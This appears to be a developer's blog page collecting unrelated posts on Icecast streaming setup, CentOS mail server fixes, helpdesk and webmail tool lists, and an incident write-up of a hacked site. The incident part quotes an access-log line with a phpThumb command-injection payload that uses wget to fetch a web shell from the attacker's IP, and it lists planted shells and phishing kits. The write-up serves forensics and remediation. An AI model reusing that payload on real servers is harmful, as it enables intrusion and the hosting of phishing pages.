The default ASP.net gridview is something like this.

You can see the live working and screenshots from following links.

- Demo Center
- Screenshots

# redirect spambots & rogue spiders to the end of the internet
Options +FollowSymlinks
RewriteEngine On
RewriteBase /
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSearch [OR]
RewriteCond %{HTTP_USER_AGENT} ^Microsoft\ URL [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector
RewriteRule .* - [F,L]

http://pkgs.org/centos-6-rhel-6/centalt-x86_64/icecast-2.3.3-1.el6.x86_64.rpm.html

cd /opt
wget http://pkgs.org/centos-6-rhel-6/centalt-x86_64/icecast-2.3.3-1.el6.x86_64.rpm/download/

Step 2: Install it using yum

yum install icecast-2.3.3-1.el6.x86_64.rpm

Step 3: Set Config

vim /etc/icecast.xml

Change source password, relay password, admin password. Also set mount point to ‘/live‘

<authentication>
<!-- Sources log in with username 'source' -->
 <source-password>mynewpass</source-password>
<!-- Relays log in username 'relay' -->
 <relay-password>mynewpass</relay-password>
<!-- Admin logs in with the username given below -->
 <admin-user>admin</admin-user>
 <admin-password>mynewpass</admin-password>
 </authentication>
<listen-socket>
 <port>8000</port>
  <shoutcast-mount>/live</shoutcast-mount>
 </listen-socket>

And that’s it. It will start listening on port 8000, when you start service.

Optionally you can also have multiple mount points by adding following config.

<mount>
 <mount-name>/live</mount-name>
 <password>pass-live</password>
 <max-listeners>100</max-listeners>
<dump-file>/tmp/live.mp3</dump-file>
 <fallback-mount>/live-backup</fallback-mount>
 <fallback-override>1</fallback-override>
 <fallback-when-full>1</fallback-when-full>
</mount>

Step 4: Start service + Set for auto start on boot

service icecast start
chkconfig incecast on

Step 5: Run on Port 80

If you want to run it on port 80, due to firewall issue of listeners … you can manage it using mod_proxy module of apache.

For that, check your httpd.conf and see if mod_proxy module is not commented.

LoadModule proxy_module modules/mod_proxy.so

Next, go to your apache public_html, and in .htaccess write following rule.

# streaming on port 80 - icecast
RewriteRule ^live.mp3$ http://domain.com:8000/live [P,L]

This will enable streaming via http. You can now access http://domain.com/live.mp3 to connect to live broadcast.

Step 6: Setting Streaming Server

Icecast is supported many free streaming servers like VLC and Winamp. But i prefer Samcast due to simpler interface but it’s trial and shows popup at random time to buy.

Open Samcast.
Click of Settings link on top -> Capture sound form device
You can select ‘Sound Mapper’ to broadcast speaker out or ‘Mic’

Click Encoder -> Click +
Choose MP3 Lame encoder -> Click OK

On first tab ‘Converter’ select your desired bitrate to stream (16k) and mode (mono/stereo)

On second tab ‘Server details’, select ‘Server Type’ to IceCast
Server IP: your-domain.com

Server Port: 8000 (default)
Password: mynewpass (as set above in tutorial)
Mount: /live (as set in config)
Optionally set, station name, description and website options.

Click OK, and it will add new encoder.

Select newly added encoder and click ‘Play’ button.
If everything goes fine, it’s will update status as ‘Encoding’

Now on main Samcast window, click circle blue button ‘Start’ to start streaming.

Debugging: If you wish to see log, please check

# tail -f /var/log/icecast/error.log

Step 7: Setting up client

We can have desktop clients like winamp or vlc which work smooth. Just open file and give your streamer path.

In our case, it’s http://domain.com/live.mp3
You will hear the playback after little buffering.

If you wish to have web based player, visit following link
http://andy.ehandysoft.com/shoutcast-players.html

JWPlayer is also very stable and work for mp3 streaming. A

In both cases, all we have to do is to give file path:
http://domain.com/live.mp3

That’s It. Phew, long article.

Very resuable tool, saved a lot of time.

http://www.lavishbootstrap.com/

Logging it for future reference.

http://www.howtoforge.com/perfect-server-centos-6.3-x86_64-nginx-dovecot-ispconfig-3-p4

11 Install Dovecot

Dovecot can be installed as follows:

yum install dovecot dovecot-mysql

Now create the system startup links and start Dovecot:

chkconfig –levels 235 dovecot on
/etc/init.d/dovecot start

12 Install Postfix

Postfix can be installed as follows:

yum install postfix

Then turn off Sendmail and start Postfix:

chkconfig –levels 235 sendmail off
chkconfig –levels 235 postfix on
/etc/init.d/sendmail stop
/etc/init.d/postfix restart

This will setup the server. And finally the magical tool was ISPConfig.

http://www.howtoforge.com/perfect-server-centos-6.3-x86_64-nginx-dovecot-ispconfig-3-p7

After installation, it was really very simple to add domain, then mailbox and then connect from outlook express, without going in dovecot-mysql detailed configuration. See attached screenshot for more.

Troubleshooting

In this setup, i got stucked at 3 places. Actually i didn’t followed complete walkthrough instead installed postfix, dovecot+dovecot_mysql, ispconfig.

1) Postfix mail  receiving issue, warning: do not list domain domain.org in BOTH mydestination and virtual_mailbox_domains

It started fetching mailbox folders but was receiving any emails. In logs it shows

Nov 24 06:16:34 domain postfix/trivial-rewrite[31898]: warning: do not list domain domain.org in BOTH mydestination and virtual_mailbox_domains
Nov 24 06:16:34 domain dovecot: imap-login: Login: user=<support@domain.org>, method=PLAIN, rip=72.29.80.225, lip=72.29.80.225, mpid=31910, TLS
Nov 24 06:16:34 domain postfix/local[31908]: 93C3F316800D: to=<root@domain.org>, orig_to=<support@domain.org>, relay=local, delay=0.22, delays=0.12/0.05/0/0.06, dsn=2.0.0, status=sent (delivered to mailbox)

Solution: http://www.howtoforge.com/forums/archive/index.php/t-59061.html

Added subdomain in /etc/hosts and /etc/postfix/main.cf

mydestination = mail.domain.org, ……

The hostname defined in main.cf of postfix should not be your domain.org, instead some sub domain e.g. mail.domain.org.

2) Postfix was not sending emails giving error in /var/log/maillog : (delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]:10024: Connection refused)

Solution: There were many solutions on web, but case was i didn’t installed ‘amavisd’ from walk through and it was preset in ISPConfig postfix config main.cf. Commented it’s filter and Postfix SMTP also worked.

#content_filter = amavis:[127.0.0.1]:10024
content_filter =

http://www.textndata.com/forums/delivery-temporarily-suspended-connect-127-a-49572.html

Another solution could be properly follow walk through and install this anti-spam tool as mentioned here:
http://forum.linode.com/viewtopic.php?p=36880

3) Config issues in “atmail” web client

I also setup “atmail” from sourceforge. It crashed just after installation on first page causing blank modal login window.

I check firebug->ajax response, and it was 500 server error. Debugged code and found it’s PHP new version ‘deprecated’ warning issue, which forcefully terminate script. So i turned on error_reporting in header.php. List the files causing deprecated warning and replace them using vim command.

:%s/=&/=/g
:%s/= &/= /g  <—- this one with space after =

It resolved the deprecated warning issue.

Next issue was with libs/IMAP_Client.php. In new php version ‘namespace’ is a keyword but in this lib, it was named as a class->function. So renamed it and calling and definition places, and finally it worked.

…

Pretty unique cases, very hard to google. It burnt almost my half night sleep (of 9th muharram, nov 23-24, 2012)

Hope it help.

http://fuelyourcoding.com/getting-started-writing-wordpress-plugins/

Why WordPress Plugins?

A WordPress plugin can be a single PHP file or a complex collection of PHP, CSS, JS and images all used together to add new or enhanced functionality to the WordPress core.

Since almost everything you can put in a plugin you can also just dump into a functions.php file in your theme directory, why should you bother building a plugin? Here are a few reasons I find important:

• Plugins are focused pieces of code structured to accomplish one task. The very nature of a plugin makes it easy to maintain.
• Because of the modular nature of a plugin, it makes your code instantly reusable on other projects (Depending on your code ownership agreements with your clients, of course.)
• If over time it grows into a truly helpful collection of code, having it in a plugin allows you to release it to the public quickly and easily.
• Having large chunks of functionality split into plugins makes changes to the PHP and related files easier to make later.

I think WordPress plugins should be especially important to anyone running a web application that could benefit from direct integration into the WordPress platform. This could include a WordPress sidebar widget that pulls information from your website, a shortcode for quickly embedding your site content in WordPress posts, etc.

http://www.desk.com/pricing
http://freshdesk.com/signup/
http://www.happyfox.com/signup.php
desk.com & freshdesk seems promising.

List of helpdesk tools:
http://www.opensourcehelpdesklist.com/

Live Chat (with mobile app)
http://www.clickdesk.com/pricing.jsp

FREE Forever One Agent only
30 Chats/Month
1 concurrent.
Voice Chat
Social Toolbar

Zopim can’t be configured with jabber client. This works like olark.
Zopim dont have mobile app to answer queries, olark has very limited free version.
Olark has monthly limit of 20, with 5 concurrent chats.

OTRS Help Desk – Opensource
http://www.otrs.com/en/software/otrs-help-desk/features/

OTRS Help Desk provides the tools needed to deliver superior service to your customers. Build stronger, longer lasting relationships and gain a solid competitive edge with the proven functionality of OTRS

Userreport:

Get ideas on how to improve your website – from the people using it! Users can post, vote on and discuss ideas. You can even add your own colors and logo to the forum.

.md was found to be a format known as markdown (since 2004). There are several other like restructuredtext (rst), which is linked with sphinx documentor to generated HTML book.

I liked the simple syntax of markdown, and started working on it. The motivating point was when i write something in notepad, i copy-paste it on live editor and can get the stylized html auto generated.

http://markable.in/ (preferred)

http://jrham.es/instantmark/

Good thing is both generate raw html, which can be posted as wordpress blog article. And if your wordpress has some syntax highlighter plugin, it will publish your documentation pretty easily.

Just to log things, i am updating it on blog for future reference, and help some one in same scenario.

http://www.noupe.com/ajax/10-ajax-webmail-clients.html

http://www.webresourcesdepot.com/category/extras/webmail-extras/

Roundcube

http://roundcube.net/

Roundcube Webmail is a browser-based multilingual IMAP client with an application-like user interface providing full functionality like MIME support, address book, folder manipulation, searching and spell checking. It’s written in PHP and JavaScript.

There are some plugins available to extend more functions.
http://sourceforge.net/directory/os:windows/freshness:recently-updated/?q=roundcube

Horde

IMP is currently at version 5 and requires Horde 4. It adds new features like a new mobile frontend for smartphones, much improved AJAX frontend with new vertical layout
http://www.horde.org/apps/imp/

version 4

version 5

GWebmail

https://www.gwebmail.net/?page=screenshots

Gwebmail is an ajax powered webmail system with an interface similar to Gmail
It is entirely written in PHP and uses MySQL to store messages
It comes with fremium model, and 10 users are free.

AtMail Open

Last Update: 2009-07-16
http://sourceforge.net/projects/atmailopen/

AtMail is an open source webmail client written in PHP. We aim to provide a elegant Ajax webmail client for existing IMAP mailservers, with less bloat and a focus on an intuitive, simple user interface. They also have a commercial version of Atmail. Commercial version interface looks very promising.

AfterLogic WebMail Lite PHP
Last Update: 2011-12-06
http://www.afterlogic.com/community-editions/webmail-lite

Also compare with commercial
http://www.afterlogic.org/webmail-lite/compare

• Supports SMTP/IMAP/POP3/XMail protocols; MySQL or MS SQL database backend
• Ajax driven interface
• Can block javascript and external images in e-mails
• Address Book
• Skins and translations (including RTL rendering)
• cPanel integration

Hivemail

http://www.hivemail.com/index.php

HiveMail now provides even more features and a revamped UI ! Amongst a stunning File Storage implementation which allows to add attachments from/to Storage, we have implemented the world’s firstQuickview / Quickreply System – a really slick and easy way to view/reply messages !

Hastymail

Last Update: 2012-08-20
http://www.hastymail.org/

Hastymail is a fast, secure, rfc-compliant, cross-platform IMAP/SMTP client application written in PHP providing a clean web interface for sending and reading E-mail.

T-dah WebMail

Beta Last Update: 2012-08-27
http://tdah.us/

T-dah webmail project based on uebimiau with new updates, template skins, filters, chat and calendar. T-dah Webmail is small, efficient, very easy to install and is always being improved.

SquirrelMail

Last Update: 2011-09-19
http://squirrelmail.org/

SquirrelMail is a PHP-based Web email client. It includes built-in pure PHP support for IMAP and SMTP, and renders all pages in pure HTML 4.0 for maximum compatibility across browsers. It has strong MIME support and a flexible plugin system. Interface looks old age of 1960s. But provide ensignia (following) better themes for it. Comments says code structure is good to incorporate and customize.

SquirrelOutlook
http://squirreloutlook.sourceforge.net/

SquirrelOutlook is a standards-based webmail package written in PHP4 (Squirrelmail). It includes built-in pure PHP support for the IMAP and SMTP protocols, and all pages render in pure HTML 4.0 for maximum compatibility across browsers.

Emexis-webmail skin squirremail

http://groups.google.com/group/emexis-webmail
emexis-webmail is a skin for the well-known Squirremail The intention of this project is to create more friendly interface for the End User

Ensignia (Powered by Squirrelmail)
http://nutsmail.com/squirrelmail.html

Another squirrelmail fork, but commerical.

NOCC
Last Update: 2012-08-14
http://nocc.sourceforge.net/

NOCC is a simple and fast Webmail client which can handle POP3, SMTP, and IMAP servers. It is written with PHP5 (uses sessions), has low requirements (no database, frames). Features multi-language support, MIME attachments, displays HTML messages.

There were few others like popper, v-webmail etc, but were of very low quality interface so i skipped them in this extract.

Hope it is useful for businesses.

References:
http://www.thefreecountry.com/php/emailclients.shtml
http://sourceforge.net/directory

Vulnerability is mentioned here …

http://secunia.com/advisories/39556

http://forum.intern0t.org/exploits-vulnerabilities-pocs/2969-phpthumb-all-versions-arbitrary-command-execution.html

The hacker footprint was …

I fetched all files changes in last 2 days … by going to public_html and running

# find ./ -type f -ctime -2 -exec ls -lcr {} \; > ../last-activity.txt

Interesting results … The Web Shell, Perl and PHP files …

-rw-r–r– 1 user user 24911 May 15 08:08 ./phpthumb/filess.php
-rw-r–r– 1 user user 4549 May 15 08:10 ./phpthumb/cp.txt
-rw-r–r– 1 user user 1076 May 15 08:13 ./phpthumb/confspy.log
-rw-r–r– 1 user user 24911 May 15 08:08 ./phpthumb/filess.php.1
-rw-r–r– 1 user user 194113 May 15 10:09 ./config.php

and The Phising Codes

-rw-r–r– 1 user user 28469 May 15 11:36 ./webmail.uncfsu.edu.zip
-rw-r–r– 1 user user 3669 May 15 11:37 ./webmail.uncfsu.edu/login_files/flogon.js
-rw-r–r– 1 user user 1144 May 15 11:37 ./webmail.uncfsu.edu/login_files/lgnexlogo.gif
-rw-r–r– 1 user user 2512 May 15 11:37 ./webmail.uncfsu.edu/login_files/lgntopr.gif
-rw-r–r– 1 user user 3461 May 15 11:37 ./webmail.uncfsu.edu/login_files/owafont.css
-rw-r–r– 1 user user 2310 May 15 11:37 ./webmail.uncfsu.edu/login_files/logon.css

…………………

-rw-r–r– 1 user user 222219 May 15 15:08 ./chaseupdating.zip
-rw-r–r– 1 user user 1245 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/M3DiJoK.php
-rw-r–r– 1 user user 5692 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/Logon.php
-rw-r–r– 1 user user 316 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/index.php
-rw-r–r– 1 user user 29742 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/details.php
-rw-r–r– 1 user user 323 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/M3DiJoK/default_bg.gif
-rw-r–r– 1 user user 1556 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/M3DiJoK/search_button_home.gif
-rw-r–r– 1 user user 121 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/M3DiJoK/curvebg_darkblue_right.gif

Visiting Access Logs, explored exact details of the intruder actions …

41.138.185.64 – - [15/May/2012:08:08:51 -0600] “GET /vendors/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;wget%20http://41.138.185.64/filess.php;%20&phpThumbDebug=9 HTTP/1.1″ 200 48077 “-” “Opera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.62″
41.138.185.64 – - [15/May/2012:08:08:58 -0600] “GET /vendors/phpthumb/filess.php HTTP/1.1″ 200 471 “-” “Opera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.62″
41.138.185.64 – - [15/May/2012:10:09:26 -0600] “GET /config.php HTTP/1.1″ 302 378 “-” “Opera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.62″

Looking Dangerous ?

…………………

Solution:

1.) Remove the infection from the files

2.) Ensure there as no php shells left behind

3.) Upgrade the software and keep upgrading.

http://www.webhostingtalk.com/showthread.php?t=972669

A must do thing is to keep an eye on http://secunia.com/advisories about vulnerabilities detected time by time.

I would suggest to make a gdocs file to track the all such cases. for e.g.

3rd party libs | installed version | released version | last check date.